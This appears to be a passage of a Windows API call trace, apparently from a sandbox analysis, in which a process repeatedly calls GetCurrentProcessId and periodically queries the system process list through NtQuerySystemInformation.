[0256.923] GetCurrentProcessId () returned 0xbf4 [0256.923] GetCurrentProcessId () returned 0xbf4 [0256.923] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.924] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.925] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.926] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0256.927] GetCurrentProcessId () returned 0xbf4 [0257.455] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cec0) returned 0x0 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.494] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.495] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.496] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0257.497] GetCurrentProcessId () returned 0xbf4 [0258.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cec0) returned 0x0 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.010] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.011] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.012] GetCurrentProcessId () returned 0xbf4 [0258.013] GetCurrentProcessId () returned 0xbf4 [0258.013] GetCurrentProcessId () returned 0xbf4 [0258.013] GetCurrentProcessId () returned 0xbf4 [0258.013] GetCurrentProcessId () returned 0xbf4 [0258.013] GetCurrentProcessId () returned 0xbf4 [0258.013] GetCurrentProcessId () returned 0xbf4 [0258.013] GetCurrentProcessId () returned 0xbf4 [0258.013] GetCurrentProcessId () returned 0xbf4 [0258.013] GetCurrentProcessId () returned 0xbf4 [0258.013] GetCurrentProcessId () returned 0xbf4 [0258.555] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc40) returned 0x0 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.654] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.655] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.656] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.657] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0258.658] GetCurrentProcessId () returned 0xbf4 [0259.186] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c9f0) returned 0x0 [0259.752] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0260.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0260.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0261.392] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0261.935] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cae0) returned 0x0 [0262.464] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cae0) returned 0x0 [0262.643] GetCurrentProcessId () returned 0xbf4 [0262.643] GetCurrentProcessId () returned 0xbf4 [0262.643] GetCurrentProcessId () returned 0xbf4 [0262.643] GetCurrentProcessId () returned 0xbf4 [0262.643] GetCurrentProcessId () returned 0xbf4 [0262.643] GetCurrentProcessId () returned 0xbf4 [0262.643] GetCurrentProcessId () returned 0xbf4 [0262.643] GetCurrentProcessId () returned 0xbf4 [0262.643] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.644] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.645] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 